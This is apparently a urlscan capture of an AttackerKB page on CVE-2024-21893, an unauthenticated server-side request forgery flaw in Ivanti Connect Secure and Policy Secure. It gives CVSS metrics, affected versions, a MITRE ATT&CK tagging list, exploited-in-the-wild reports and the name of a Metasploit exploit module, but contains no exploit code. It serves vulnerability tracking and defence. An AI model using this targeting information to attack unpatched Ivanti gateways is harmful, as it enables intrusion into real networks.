attackerkb.com
Open in
urlscan Pro
3.160.150.36
Public Scan
Submitted URL: https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893?referrer=notificationEmail#rapid7-analysis/
Effective URL: https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893?referrer=notificationEmail
Submission Tags: demotag1 demotag2 Search All
Submission: On June 21 via api from RU — Scanned from DE
Effective URL: https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893?referrer=notificationEmail
Submission Tags: demotag1 demotag2 Search All
Submission: On June 21 via api from RU — Scanned from DE
Form analysis 3 forms found in the DOM
POST /search
<form action="/search" method="POST" id="search-condensed-form">
<input type="hidden" name="gorilla.csrf.Token" value="ykLyjsMIP9oN/bXYntk6ZbE3v9a9q6TpdjWG9Zl0aKROYJyLyvA8jj1IO5Z/K/LVAhudZZhoJ+/lGtzPYpRUUw==">
<input class="form-control nav-search" type="search" name="search" placeholder="Search..." aria-label="Search">
<button class="pseudo-search-button" type="submit"></button>
</form>POST /search
<form id="search" class="form-inline" action="/search" method="POST">
<input type="hidden" name="gorilla.csrf.Token" value="ykLyjsMIP9oN/bXYntk6ZbE3v9a9q6TpdjWG9Zl0aKROYJyLyvA8jj1IO5Z/K/LVAhudZZhoJ+/lGtzPYpRUUw==">
<input class="form-control nav-search" type="search" name="search" placeholder="Search..." aria-label="Search">
<button class="pseudo-search-button" type="submit"></button>
</form><form id="eitw-report-form" class="needs-validation" novalidate="">
<p class="report-exploited-description">AttackerKB users want to know this is information they can trust.<br> Help the community by indicating the source(s) of your knowledge:</p>
<ul>
<li>
<div class="form-check">
<input class="form-check-input eitw-checkbox" type="checkbox" value="" id="modal_vendorAdvisory">
<label class="form-check-label" for="modal_vendorAdvisory">Vendor Advisory</label>
</div>
<div class="add-reference collapse" id="modal_vendorAdvisoryReferenceCollapse">
<label class="" for="modal_vendorAdvisoryReference">Add a reference URL <span class="optional">(optional)</span>:</label>
<div class="add-reference-input">
<input type="text" id="modal_vendorAdvisoryReference" class="eitw-reference form-control" aria-describedby="vendorAdvisoryFeedback">
</div>
</div>
</li>
<li>
<div class="form-check">
<input class="form-check-input eitw-checkbox" type="checkbox" value="" id="modal_governmentAlert">
<label class="form-check-label" for="modal_governmentAlert">Government or Industry Alert</label>
</div>
<div class="add-reference collapse" id="modal_governmentAlertReferenceCollapse">
<label class="" for="modal_governmentAlertReference">Add a reference URL <span class="optional">(optional)</span>:</label>
<div class="add-reference-input">
<input type="text" id="modal_governmentAlertReference" class="eitw-reference form-control" aria-describedby="governmentAlertFeedback">
</div>
</div>
</li>
<li>
<div class="form-check">
<input class="form-check-input eitw-checkbox" type="checkbox" value="" id="modal_threatFeed">
<label class="form-check-label" for="modal_threatFeed">Threat Feed</label>
</div>
<div class="add-reference collapse" id="modal_threatFeedReferenceCollapse">
<label class="" for="modal_threatFeedReference">Add a reference URL <span class="optional">(optional)</span>:</label>
<div class="add-reference-input">
<input type="text" id="modal_threatFeedReference" class="eitw-reference form-control" aria-describedby="threatFeedFeedback">
</div>
</div>
</li>
<li>
<div class="form-check">
<input class="form-check-input eitw-checkbox" type="checkbox" value="" id="modal_news">
<label class="form-check-label" for="modal_news">News Article or Blog</label>
</div>
<div class="add-reference collapse" id="modal_newsReferenceCollapse">
<label class="" for="modal_newsReference">Add a reference URL <span class="optional">(optional)</span>:</label>
<div class="add-reference-input">
<input type="text" id="modal_newsReference" class="eitw-reference form-control" aria-describedby="newsFeedback">
</div>
</div>
</li>
<li>
<div class="form-check">
<input class="form-check-input eitw-checkbox" type="checkbox" value="" id="modal_personallyObserved">
<label class="form-check-label" for="modal_personallyObserved">Exploitation personally observed in an environment (client, customer, employer, or personal environment)</label>
</div>
<div class="add-reference collapse" id="modal_personallyObservedReferenceCollapse">
<label class="" for="modal_personallyObservedReference">Add a reference URL <span class="optional">(optional)</span>:</label>
<div class="add-reference-input">
<input type="text" id="modal_personallyObservedReference" class="eitw-reference form-control" aria-describedby="personallyObservedFeedback">
</div>
</div>
</li>
<li>
<div class="eitw-other-input-group form-check">
<input class="form-check-input eitw-checkbox" type="checkbox" value="" id="modal_eitwOther">
<label class="form-check-label" for="modal_eitwOther">Other:</label>
<div class="eitw-other-input">
<input type="text" id="modal_eitwOtherInput" class="eitw-required form-control" aria-describedby="eitwOtherInputFeedback" disabled="">
<div id="modal_eitwOtherInputFeedback" class="invalid-feedback"> Please explain the source of your report. </div>
</div>
</div>
<div class="add-reference collapse" id="modal_eitwOtherReferenceCollapse">
<label class="" for="modal_eitwOtherReference">Add a reference URL <span class="optional">(optional)</span>:</label>
<div class="add-reference-input">
<input type="text" id="modal_eitwOtherReference" class="eitw-reference form-control" aria-describedby="eitwOtherReferenceFeedback">
</div>
</div>
</li>
</ul>
</form>Text Content
A Rapid7 Project
* Activity Feed
* Topics
* About
* Leaderboard
*
Log In
Attacker Value
VERY HIGH
8
CVE-2024-21893
8
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references
from the CVE list and the National Vulnerability Database. If available, please
supply below:
CVE ID:
ADD REFERENCES:
ADVISORY
Description: URL:
Add Another
EXPLOIT
Description: URL:
Add Another
MITIGATION
Description: URL:
Add Another
RELATED ATTACKERKB TOPIC
Description: URL:
Add Another
MISCELLANEOUS
Description: URL:
Add Another
Cancel Submit
Attacker Value
VERY HIGH
(1 user assessed)
Exploitability
UNKNOWN
(1 user assessed)
User Interaction
NONE
Privileges Required
NONE
Attack Vector
NETWORK
8
CVE-2024-21893
Disclosure Date: January 31, 2024 •
(Last updated February 02, 2024) ▾
CVE-2024-21893 CVSS v3 Base Score: 8.2
Exploited in the Wild
Reported by ccondon-r7 and 2 more...
View Source Details
Report As Exploited in the Wild
MITRE ATT&CK Log in to add MITRE ATT&CK tag
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
MITRE ATT&CK
Select the MITRE ATT&CK Tactics that apply to this CVE
Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential
AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlImpact
COLLECTION
Select any Techniques used:
Data from Local System
Data from Removable Media
Data from Network Shared Drive
Input Capture
Input Capture: Keylogging
Input Capture: GUI Input Capture
Input Capture: Web Portal Capture
Input Capture: Credential API Hooking
Data Staged
Data Staged: Local Data Staging
Data Staged: Remote Data Staging
Screen Capture
Email Collection
Email Collection: Local Email Collection
Email Collection: Remote Email Collection
Email Collection: Email Forwarding Rule
Clipboard Data
Automated Collection
Audio Capture
Video Capture
Man in the Browser
Data from Information Repositories
Data from Information Repositories: Confluence
Data from Information Repositories: Sharepoint
Data from Cloud Storage Object
Man-in-the-Middle
Man-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay
Archive Collected Data
Archive Collected Data: Archive via Utility
Archive Collected Data: Archive via Library
Archive Collected Data: Archive via Custom Method
COMMAND AND CONTROL
Select any Techniques used:
Data Obfuscation
Data Obfuscation: Junk Data
Data Obfuscation: Steganography
Data Obfuscation: Protocol Impersonation
Fallback Channels
Application Layer Protocol
Application Layer Protocol: Web Protocols
Application Layer Protocol: File Transfer Protocols
Application Layer Protocol: Mail Protocols
Application Layer Protocol: DNS
Proxy
Proxy: Internal Proxy
Proxy: External Proxy
Proxy: Multi-hop Proxy
Proxy: Domain Fronting
Communication Through Removable Media
Non-Application Layer Protocol
Web Service
Web Service: Dead Drop Resolver
Web Service: Bidirectional Communication
Web Service: One-Way Communication
Multi-Stage Channels
Ingress Tool Transfer
Data Encoding
Data Encoding: Standard Encoding
Data Encoding: Non-Standard Encoding
Traffic Signaling
Traffic Signaling: Port Knocking
Remote Access Software
Dynamic Resolution
Dynamic Resolution: Fast Flux DNS
Dynamic Resolution: Domain Generation Algorithms
Dynamic Resolution: DNS Calculation
Non-Standard Port
Protocol Tunneling
Encrypted Channel
Encrypted Channel: Symmetric Cryptography
Encrypted Channel: Asymmetric Cryptography
CREDENTIAL ACCESS
Select any Techniques used:
OS Credential Dumping
OS Credential Dumping: LSASS Memory
OS Credential Dumping: Security Account Manager
OS Credential Dumping: NTDS
OS Credential Dumping: LSA Secrets
OS Credential Dumping: Cached Domain Credentials
OS Credential Dumping: DCSync
OS Credential Dumping: Proc Filesystem
OS Credential Dumping: /etc/passwd and /etc/shadow
Network Sniffing
Input Capture
Input Capture: Keylogging
Input Capture: GUI Input Capture
Input Capture: Web Portal Capture
Input Capture: Credential API Hooking
Brute Force
Brute Force: Password Guessing
Brute Force: Password Cracking
Brute Force: Password Spraying
Brute Force: Credential Stuffing
Two-Factor Authentication Interception
Forced Authentication
Exploitation for Credential Access
Steal Application Access Token
Steal Web Session Cookie
Unsecured Credentials
Unsecured Credentials: Credentials In Files
Unsecured Credentials: Credentials in Registry
Unsecured Credentials: Bash History
Unsecured Credentials: Private Keys
Unsecured Credentials: Cloud Instance Metadata API
Unsecured Credentials: Group Policy Preferences
Credentials from Password Stores
Credentials from Password Stores: Keychain
Credentials from Password Stores: Securityd Memory
Credentials from Password Stores: Credentials from Web Browsers
Modify Authentication Process
Modify Authentication Process: Domain Controller Authentication
Modify Authentication Process: Password Filter DLL
Modify Authentication Process: Pluggable Authentication Modules
Man-in-the-Middle
Man-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay
Steal or Forge Kerberos Tickets
Steal or Forge Kerberos Tickets: Golden Ticket
Steal or Forge Kerberos Tickets: Silver Ticket
Steal or Forge Kerberos Tickets: Kerberoasting
DEFENSE EVASION
Select any Techniques used:
Direct Volume Access
Rootkit
Obfuscated Files or Information
Obfuscated Files or Information: Binary Padding
Obfuscated Files or Information: Software Packing
Obfuscated Files or Information: Steganography
Obfuscated Files or Information: Compile After Delivery
Obfuscated Files or Information: Indicator Removal from Tools
Masquerading
Masquerading: Invalid Code Signature
Masquerading: Right-to-Left Override
Masquerading: Rename System Utilities
Masquerading: Masquerade Task or Service
Masquerading: Match Legitimate Name or Location
Masquerading: Space after Filename
Process Injection
Process Injection: Dynamic-link Library Injection
Process Injection: Portable Executable Injection
Process Injection: Thread Execution Hijacking
Process Injection: Asynchronous Procedure Call
Process Injection: Thread Local Storage
Process Injection: Ptrace System Calls
Process Injection: Proc Memory
Process Injection: Extra Window Memory Injection
Process Injection: Process Hollowing
Process Injection: Process Doppelgänging
Process Injection: VDSO Hijacking
Indicator Removal on Host
Indicator Removal on Host: Clear Windows Event Logs
Indicator Removal on Host: Clear Linux or Mac System Logs
Indicator Removal on Host: Clear Command History
Indicator Removal on Host: File Deletion
Indicator Removal on Host: Network Share Connection Removal
Indicator Removal on Host: Timestomp
Valid Accounts
Valid Accounts: Default Accounts
Valid Accounts: Domain Accounts
Valid Accounts: Local Accounts
Valid Accounts: Cloud Accounts
Modify Registry
Trusted Developer Utilities Proxy Execution
Trusted Developer Utilities Proxy Execution: MSBuild
Access Token Manipulation
Access Token Manipulation: Token Impersonation/Theft
Access Token Manipulation: Create Process with Token
Access Token Manipulation: Make and Impersonate Token
Access Token Manipulation: Parent PID Spoofing
Access Token Manipulation: SID-History Injection
Deobfuscate/Decode Files or Information
BITS Jobs
Indirect Command Execution
Traffic Signaling
Traffic Signaling: Port Knocking
Rogue Domain Controller
Exploitation for Defense Evasion
Signed Script Proxy Execution
Signed Script Proxy Execution: PubPrn
Signed Binary Proxy Execution
Signed Binary Proxy Execution: Compiled HTML File
Signed Binary Proxy Execution: Control Panel
Signed Binary Proxy Execution: CMSTP
Signed Binary Proxy Execution: InstallUtil
Signed Binary Proxy Execution: Mshta
Signed Binary Proxy Execution: Msiexec
Signed Binary Proxy Execution: Odbcconf
Signed Binary Proxy Execution: Regsvcs/Regasm
Signed Binary Proxy Execution: Regsvr32
Signed Binary Proxy Execution: Rundll32
XSL Script Processing
Template Injection
File and Directory Permissions Modification
File and Directory Permissions Modification: Windows File and Directory
Permissions Modification
File and Directory Permissions Modification: Linux and Mac File and Directory
Permissions Modification
Execution Guardrails
Execution Guardrails: Environmental Keying
Group Policy Modification
Virtualization/Sandbox Evasion
Virtualization/Sandbox Evasion: System Checks
Virtualization/Sandbox Evasion: User Activity Based Checks
Virtualization/Sandbox Evasion: Time Based Evasion
Unused/Unsupported Cloud Regions
Pre-OS Boot
Pre-OS Boot: System Firmware
Pre-OS Boot: Component Firmware
Pre-OS Boot: Bootkit
Abuse Elevation Control Mechanism
Abuse Elevation Control Mechanism: Setuid and Setgid
Abuse Elevation Control Mechanism: Bypass User Access Control
Abuse Elevation Control Mechanism: Sudo and Sudo Caching
Abuse Elevation Control Mechanism: Elevated Execution with Prompt
Use Alternate Authentication Material
Use Alternate Authentication Material: Application Access Token
Use Alternate Authentication Material: Pass the Hash
Use Alternate Authentication Material: Pass the Ticket
Use Alternate Authentication Material: Web Session Cookie
Subvert Trust Controls
Subvert Trust Controls: Gatekeeper Bypass
Subvert Trust Controls: Code Signing
Subvert Trust Controls: SIP and Trust Provider Hijacking
Subvert Trust Controls: Install Root Certificate
Modify Authentication Process
Modify Authentication Process: Domain Controller Authentication
Modify Authentication Process: Password Filter DLL
Modify Authentication Process: Pluggable Authentication Modules
Impair Defenses
Impair Defenses: Disable or Modify Tools
Impair Defenses: Disable Windows Event Logging
Impair Defenses: HISTCONTROL
Impair Defenses: Disable or Modify System Firewall
Impair Defenses: Indicator Blocking
Impair Defenses: Disable or Modify Cloud Firewall
Hide Artifacts
Hide Artifacts: Hidden Files and Directories
Hide Artifacts: Hidden Users
Hide Artifacts: Hidden Window
Hide Artifacts: NTFS File Attributes
Hide Artifacts: Hidden File System
Hide Artifacts: Run Virtual Instance
Hijack Execution Flow
Hijack Execution Flow: DLL Search Order Hijacking
Hijack Execution Flow: DLL Side-Loading
Hijack Execution Flow: Dylib Hijacking
Hijack Execution Flow: Executable Installer File Permissions Weakness
Hijack Execution Flow: LD_PRELOAD
Hijack Execution Flow: Path Interception by PATH Environment Variable
Hijack Execution Flow: Path Interception by Search Order Hijacking
Hijack Execution Flow: Path Interception by Unquoted Path
Hijack Execution Flow: Services File Permissions Weakness
Hijack Execution Flow: Services Registry Permissions Weakness
Hijack Execution Flow: COR_PROFILER
Modify Cloud Compute Infrastructure
Modify Cloud Compute Infrastructure: Create Snapshot
Modify Cloud Compute Infrastructure: Create Cloud Instance
Modify Cloud Compute Infrastructure: Delete Cloud Instance
Modify Cloud Compute Infrastructure: Revert Cloud Instance
DISCOVERY
Select any Techniques used:
System Service Discovery
Application Window Discovery
Query Registry
System Network Configuration Discovery
Remote System Discovery
System Owner/User Discovery
Network Sniffing
Network Service Scanning
System Network Connections Discovery
Process Discovery
Permission Groups Discovery
Permission Groups Discovery: Local Groups
Permission Groups Discovery: Domain Groups
Permission Groups Discovery: Cloud Groups
System Information Discovery
File and Directory Discovery
Account Discovery
Account Discovery: Local Account
Account Discovery: Domain Account
Account Discovery: Email Account
Account Discovery: Cloud Account
Peripheral Device Discovery
System Time Discovery
Network Share Discovery
Password Policy Discovery
Browser Bookmark Discovery
Domain Trust Discovery
Virtualization/Sandbox Evasion
Virtualization/Sandbox Evasion: System Checks
Virtualization/Sandbox Evasion: User Activity Based Checks
Virtualization/Sandbox Evasion: Time Based Evasion
Software Discovery
Software Discovery: Security Software Discovery
Cloud Service Discovery
Cloud Service Dashboard
EXECUTION
Select any Techniques used:
Windows Management Instrumentation
Scheduled Task/Job
Scheduled Task/Job: At (Linux)
Scheduled Task/Job: At (Windows)
Scheduled Task/Job: Cron
Scheduled Task/Job: Launchd
Scheduled Task/Job: Scheduled Task
Command and Scripting Interpreter
Command and Scripting Interpreter: PowerShell
Command and Scripting Interpreter: AppleScript
Command and Scripting Interpreter: Windows Command Shell
Command and Scripting Interpreter: Unix Shell
Command and Scripting Interpreter: Visual Basic
Command and Scripting Interpreter: Python
Command and Scripting Interpreter: JavaScript/JScript
Software Deployment Tools
Native API
Shared Modules
Exploitation for Client Execution
User Execution
User Execution: Malicious Link
User Execution: Malicious File
Inter-Process Communication
Inter-Process Communication: Component Object Model
Inter-Process Communication: Dynamic Data Exchange
System Services
System Services: Launchctl
System Services: Service Execution
EXFILTRATION
Select any Techniques used:
Exfiltration Over Other Network Medium
Exfiltration Over Other Network Medium: Exfiltration Over Bluetooth
Automated Exfiltration
Scheduled Transfer
Data Transfer Size Limits
Exfiltration Over C2 Channel
Exfiltration Over Alternative Protocol
Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted
Non-C2 Protocol
Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted
Non-C2 Protocol
Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated
Non-C2 Protocol
Exfiltration Over Physical Medium
Exfiltration Over Physical Medium: Exfiltration over USB
Transfer Data to Cloud Account
Exfiltration Over Web Service
Exfiltration Over Web Service: Exfiltration to Code Repository
Exfiltration Over Web Service: Exfiltration to Cloud Storage
IMPACT
Select any Techniques used:
Data Destruction
Data Encrypted for Impact
Service Stop
Inhibit System Recovery
Defacement
Defacement: Internal Defacement
Defacement: External Defacement
Firmware Corruption
Resource Hijacking
Network Denial of Service
Network Denial of Service: Direct Network Flood
Network Denial of Service: Reflection Amplification
Endpoint Denial of Service
Endpoint Denial of Service: OS Exhaustion Flood
Endpoint Denial of Service: Service Exhaustion Flood
Endpoint Denial of Service: Application Exhaustion Flood
Endpoint Denial of Service: Application or System Exploitation
System Shutdown/Reboot
Account Access Removal
Disk Wipe
Disk Wipe: Disk Content Wipe
Disk Wipe: Disk Structure Wipe
Data Manipulation
Data Manipulation: Stored Data Manipulation
Data Manipulation: Transmitted Data Manipulation
Data Manipulation: Runtime Data Manipulation
INITIAL ACCESS
Select any Techniques used:
Valid Accounts
Valid Accounts: Default Accounts
Valid Accounts: Domain Accounts
Valid Accounts: Local Accounts
Valid Accounts: Cloud Accounts
Replication Through Removable Media
External Remote Services
Drive-by Compromise
Exploit Public-Facing Application
Supply Chain Compromise
Supply Chain Compromise: Compromise Software Dependencies and Development Tools
Supply Chain Compromise: Compromise Software Supply Chain
Supply Chain Compromise: Compromise Hardware Supply Chain
Trusted Relationship
Hardware Additions
Phishing
Phishing: Spearphishing Attachment
Phishing: Spearphishing Link
Phishing: Spearphishing via Service
LATERAL MOVEMENT
Select any Techniques used:
Remote Services
Remote Services: Remote Desktop Protocol
Remote Services: SMB/Windows Admin Shares
Remote Services: Distributed Component Object Model
Remote Services: SSH
Remote Services: VNC
Remote Services: Windows Remote Management
Software Deployment Tools
Taint Shared Content
Replication Through Removable Media
Exploitation of Remote Services
Internal Spearphishing
Use Alternate Authentication Material
Use Alternate Authentication Material: Application Access Token
Use Alternate Authentication Material: Pass the Hash
Use Alternate Authentication Material: Pass the Ticket
Use Alternate Authentication Material: Web Session Cookie
Remote Service Session Hijacking
Remote Service Session Hijacking: SSH Hijacking
Remote Service Session Hijacking: RDP Hijacking
Lateral Tool Transfer
PERSISTENCE
Select any Techniques used:
Boot or Logon Initialization Scripts
Boot or Logon Initialization Scripts: Logon Script (Windows)
Boot or Logon Initialization Scripts: Logon Script (Mac)
Boot or Logon Initialization Scripts: Network Logon Script
Boot or Logon Initialization Scripts: Rc.common
Boot or Logon Initialization Scripts: Startup Items
Scheduled Task/Job
Scheduled Task/Job: At (Linux)
Scheduled Task/Job: At (Windows)
Scheduled Task/Job: Cron
Scheduled Task/Job: Launchd
Scheduled Task/Job: Scheduled Task
Valid Accounts
Valid Accounts: Default Accounts
Valid Accounts: Domain Accounts
Valid Accounts: Local Accounts
Valid Accounts: Cloud Accounts
Account Manipulation
Account Manipulation: Additional Azure Service Principal Credentials
Account Manipulation: Exchange Email Delegate Permissions
Account Manipulation: Add Office 365 Global Administrator Role
Account Manipulation: SSH Authorized Keys
External Remote Services
Create Account
Create Account: Local Account
Create Account: Domain Account
Create Account: Cloud Account
Office Application Startup
Office Application Startup: Office Template Macros
Office Application Startup: Office Test
Office Application Startup: Outlook Forms
Office Application Startup: Outlook Home Page
Office Application Startup: Outlook Rules
Office Application Startup: Add-ins
Browser Extensions
BITS Jobs
Traffic Signaling
Traffic Signaling: Port Knocking
Server Software Component
Server Software Component: SQL Stored Procedures
Server Software Component: Transport Agent
Server Software Component: Web Shell
Implant Container Image
Pre-OS Boot
Pre-OS Boot: System Firmware
Pre-OS Boot: Component Firmware
Pre-OS Boot: Bootkit
Create or Modify System Process
Create or Modify System Process: Launch Agent
Create or Modify System Process: Systemd Service
Create or Modify System Process: Windows Service
Create or Modify System Process: Launch Daemon
Event Triggered Execution
Event Triggered Execution: Change Default File Association
Event Triggered Execution: Screensaver
Event Triggered Execution: Windows Management Instrumentation Event Subscription
Event Triggered Execution: .bash_profile and .bashrc
Event Triggered Execution: Trap
Event Triggered Execution: LC_LOAD_DYLIB Addition
Event Triggered Execution: Netsh Helper DLL
Event Triggered Execution: Accessibility Features
Event Triggered Execution: AppCert DLLs
Event Triggered Execution: AppInit DLLs
Event Triggered Execution: Application Shimming
Event Triggered Execution: Image File Execution Options Injection
Event Triggered Execution: PowerShell Profile
Event Triggered Execution: Emond
Event Triggered Execution: Component Object Model Hijacking
Boot or Logon Autostart Execution
Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Boot or Logon Autostart Execution: Authentication Package
Boot or Logon Autostart Execution: Time Providers
Boot or Logon Autostart Execution: Winlogon Helper DLL
Boot or Logon Autostart Execution: Security Support Provider
Boot or Logon Autostart Execution: Kernel Modules and Extensions
Boot or Logon Autostart Execution: Re-opened Applications
Boot or Logon Autostart Execution: LSASS Driver
Boot or Logon Autostart Execution: Shortcut Modification
Boot or Logon Autostart Execution: Port Monitors
Boot or Logon Autostart Execution: Plist Modification
Compromise Client Software Binary
Hijack Execution Flow
Hijack Execution Flow: DLL Search Order Hijacking
Hijack Execution Flow: DLL Side-Loading
Hijack Execution Flow: Dylib Hijacking
Hijack Execution Flow: Executable Installer File Permissions Weakness
Hijack Execution Flow: LD_PRELOAD
Hijack Execution Flow: Path Interception by PATH Environment Variable
Hijack Execution Flow: Path Interception by Search Order Hijacking
Hijack Execution Flow: Path Interception by Unquoted Path
Hijack Execution Flow: Services File Permissions Weakness
Hijack Execution Flow: Services Registry Permissions Weakness
Hijack Execution Flow: COR_PROFILER
PRIVILEGE ESCALATION
Select any Techniques used:
Boot or Logon Initialization Scripts
Boot or Logon Initialization Scripts: Logon Script (Windows)
Boot or Logon Initialization Scripts: Logon Script (Mac)
Boot or Logon Initialization Scripts: Network Logon Script
Boot or Logon Initialization Scripts: Rc.common
Boot or Logon Initialization Scripts: Startup Items
Scheduled Task/Job
Scheduled Task/Job: At (Linux)
Scheduled Task/Job: At (Windows)
Scheduled Task/Job: Cron
Scheduled Task/Job: Launchd
Scheduled Task/Job: Scheduled Task
Process Injection
Process Injection: Dynamic-link Library Injection
Process Injection: Portable Executable Injection
Process Injection: Thread Execution Hijacking
Process Injection: Asynchronous Procedure Call
Process Injection: Thread Local Storage
Process Injection: Ptrace System Calls
Process Injection: Proc Memory
Process Injection: Extra Window Memory Injection
Process Injection: Process Hollowing
Process Injection: Process Doppelgänging
Process Injection: VDSO Hijacking
Exploitation for Privilege Escalation
Valid Accounts
Valid Accounts: Default Accounts
Valid Accounts: Domain Accounts
Valid Accounts: Local Accounts
Valid Accounts: Cloud Accounts
Access Token Manipulation
Access Token Manipulation: Token Impersonation/Theft
Access Token Manipulation: Create Process with Token
Access Token Manipulation: Make and Impersonate Token
Access Token Manipulation: Parent PID Spoofing
Access Token Manipulation: SID-History Injection
Group Policy Modification
Create or Modify System Process
Create or Modify System Process: Launch Agent
Create or Modify System Process: Systemd Service
Create or Modify System Process: Windows Service
Create or Modify System Process: Launch Daemon
Event Triggered Execution
Event Triggered Execution: Change Default File Association
Event Triggered Execution: Screensaver
Event Triggered Execution: Windows Management Instrumentation Event Subscription
Event Triggered Execution: .bash_profile and .bashrc
Event Triggered Execution: Trap
Event Triggered Execution: LC_LOAD_DYLIB Addition
Event Triggered Execution: Netsh Helper DLL
Event Triggered Execution: Accessibility Features
Event Triggered Execution: AppCert DLLs
Event Triggered Execution: AppInit DLLs
Event Triggered Execution: Application Shimming
Event Triggered Execution: Image File Execution Options Injection
Event Triggered Execution: PowerShell Profile
Event Triggered Execution: Emond
Event Triggered Execution: Component Object Model Hijacking
Boot or Logon Autostart Execution
Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Boot or Logon Autostart Execution: Authentication Package
Boot or Logon Autostart Execution: Time Providers
Boot or Logon Autostart Execution: Winlogon Helper DLL
Boot or Logon Autostart Execution: Security Support Provider
Boot or Logon Autostart Execution: Kernel Modules and Extensions
Boot or Logon Autostart Execution: Re-opened Applications
Boot or Logon Autostart Execution: LSASS Driver
Boot or Logon Autostart Execution: Shortcut Modification
Boot or Logon Autostart Execution: Port Monitors
Boot or Logon Autostart Execution: Plist Modification
Abuse Elevation Control Mechanism
Abuse Elevation Control Mechanism: Setuid and Setgid
Abuse Elevation Control Mechanism: Bypass User Access Control
Abuse Elevation Control Mechanism: Sudo and Sudo Caching
Abuse Elevation Control Mechanism: Elevated Execution with Prompt
Hijack Execution Flow
Hijack Execution Flow: DLL Search Order Hijacking
Hijack Execution Flow: DLL Side-Loading
Hijack Execution Flow: Dylib Hijacking
Hijack Execution Flow: Executable Installer File Permissions Weakness
Hijack Execution Flow: LD_PRELOAD
Hijack Execution Flow: Path Interception by PATH Environment Variable
Hijack Execution Flow: Path Interception by Search Order Hijacking
Hijack Execution Flow: Path Interception by Unquoted Path
Hijack Execution Flow: Services File Permissions Weakness
Hijack Execution Flow: Services Registry Permissions Weakness
Hijack Execution Flow: COR_PROFILER
Submit
Metasploit Module
exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21893
CISA KEV ListedCommon in enterpriseDifficult to patchGives privileged
accessObserved in nation state sponsored attacksUnauthenticated
TOPIC TAGS
Select the tags that apply to this CVE (Assessment added tags are disabled and
cannot be removed)
What makes this of high-value to an attacker?
Vulnerable in default configuration
Unauthenticated
Observed in ransomware attacks
Observed in nation state sponsored attacks
Gives privileged access
Easy to weaponize
Difficult to patch
Common in enterprise
CISA KEV Listed
What makes this of low-value to an attacker?
Vulnerable in uncommon configuration
Requires user interaction
Requires physical access
Requires elevated access
No useful access
Difficult to weaponize
Authenticated
Submit
DESCRIPTION
A server-side request forgery vulnerability in the SAML component of Ivanti
Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti
Neurons for ZTA allows an attacker to access certain restricted resources
without authentication.
See More See Less
* Ratings & Analysis
* Vulnerability Details
* Analysis
ADD ASSESSMENT
Log in to add an Assessment
4
ccondon-r7 (234)
February 02, 2024 8:19pm UTC (4 months ago)•Edited 4 months ago
RATINGS
Attacker Value
Very High
CISA KEV ListedCommon in enterpriseDifficult to patchGives privileged
accessUnauthenticated
TECHNICAL ANALYSIS
See the Rapid7 analysis for details on the exploit chain.
WOULD YOU ALSO LIKE TO DELETE YOUR EXPLOITED IN THE WILD REPORT?
Delete Assessment Only Delete Assessment and Exploited in the Wild Report
Log in to Add Reply
See MoreSee Less
CVSS V3 SEVERITY AND METRICS
Data provided by the National Vulnerability Database (NVD)
Base Score:
8.2 High
Impact Score:
4.2
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
Low
Availability (A):
None
GENERAL INFORMATION
Offensive Application
Unknown
Utility Class
Unknown
Ports
Unknown
OS
Unknown
Vulnerable Versions
ICS 9.1R18
ICS 22.6R2
IPS 9.1R18
IPS 22.6R1
Prerequisites
Unknown
Discovered By
Unknown
PoC Author
Unknown
Metasploit Module
Unknown
Reporter
Unknown
VENDORS
* ivanti
PRODUCTS
* connect secure 21.12,
* connect secure 21.9,
* connect secure 22.1,
* connect secure 22.2,
* connect secure 22.3,
* connect secure 22.4,
* connect secure 22.6,
* connect secure 9.0,
* connect secure 9.1,
* neurons for zero-trust access -,
* policy secure 22.1,
* policy secure 22.2,
* policy secure 22.3,
* policy secure 22.4,
* policy secure 22.5,
* policy secure 22.6,
* policy secure 9.0,
* policy secure 9.1
METASPLOIT MODULES
exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21893
(https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2024_21893.rb)
EXPLOITED IN THE WILD
Reported by:
ccondon-r7 indicated source as News Article or Blog
(https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day)
Reported: January 31, 2024 10:26pm UTC (4 months ago)
WOULD YOU LIKE TO DELETE THIS EXPLOITED IN THE WILD REPORT?
Yes, delete this report
sfewer-r7 indicated source as Government or Industry Alert
(https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
Reported: February 01, 2024 8:55am UTC (4 months ago)
WOULD YOU LIKE TO DELETE THIS EXPLOITED IN THE WILD REPORT?
Yes, delete this report
inokii indicated sources as
* Vendor Advisory
(https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US)
* Government or Industry Alert
(https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
* Other: CISA Gov Alert
(https://www.cisa.gov/news-events/alerts/2024/01/31/cisa-adds-one-known-exploited-vulnerability-catalog-0)
Reported: February 01, 2024 3:37pm UTC (4 months ago)
WOULD YOU LIKE TO DELETE THIS EXPLOITED IN THE WILD REPORT?
Yes, delete this report
REFERENCES
CANONICAL
CVE-2024-21893 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21893)
EXPLOIT
